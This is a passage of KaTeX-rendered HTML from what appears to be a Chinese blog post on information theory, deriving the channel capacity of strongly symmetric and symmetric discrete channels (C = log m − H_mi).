reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0471em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 随着 p 变化的函数图像如下：</p><img src="http://cdn.blog-blockchain.xyz/202305272345345.png" alt="Hni的函数图像" style="zoom:50%;" /><p>最后，当整个信道矩阵都是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 的时候，取到最大。具体过程忽略</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.212em;vertical-align:-1.856em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.356em;"><span style="top:-4.356em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.856em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.356em;"><span style="top:-4.516em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)]</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">[</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">]</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.856em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p><strong>对称：</strong></p><p>对称信道和强对称信道有类似之处，但是条件更加宽松，只需要每一列是同一个集合的排列，每一行也是同一个集合的排列，不再需要 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，也不需要错误映射的可能性平分。</p><p>这样就会出现有趣的性质，因为每一行的和为 1，假设是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span> 这 n 个可以重复的元素，那么每一列都包括了其中一个元素，那么如果 m&lt;n，那么列的元素的集合一定是行元素集合的子集。m&gt;n 时，也有对应的结论。</p><img src="http://cdn.blog-blockchain.xyz/202305291533716.png" alt="image-20230527234643705" style="zoom: 50%;" />对于这样的信道矩阵，可以明显知道，每一行的信息量是相等的，也即<p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:7.7276em;vertical-align:-3.6138em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.1138em;"><span style="top:-6.8138em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-3.35em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-0.7962em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.6138em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.1138em;"><span style="top:-6.8138em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.35em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">[</span></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">]</span></span></span></span></span><span style="top:-0.7962em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">mi</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.6138em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>可以发现，和强对称矩阵不一样了，虽然取等条件也是X每个符号等概率，但是最大值是由 Y 的符号个数决定了。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.716em;vertical-align:-0.966em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.309em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="minner mtight"><span class="mopen mtight delimcenter" style="top:0em;"><span class="mtight">(</span></span><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight delimcenter" style="top:0em;"><span class="mtight">)</span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">[</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">mi</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">]</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span 